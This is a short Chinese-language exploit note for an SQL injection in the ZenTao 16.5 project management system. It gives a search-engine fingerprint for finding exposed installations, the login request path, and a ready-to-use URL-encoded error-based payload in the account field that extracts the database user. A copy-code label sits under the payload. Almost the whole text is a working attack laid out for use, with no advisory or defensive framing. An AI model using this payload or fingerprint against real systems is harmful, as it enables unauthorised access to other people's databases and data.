禅道 16.5 sql 注入

margin

1. app="易软天创-禅道系统"
   
2. POST /user-login.html
   
3. 
   
4. account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

复制代码

（）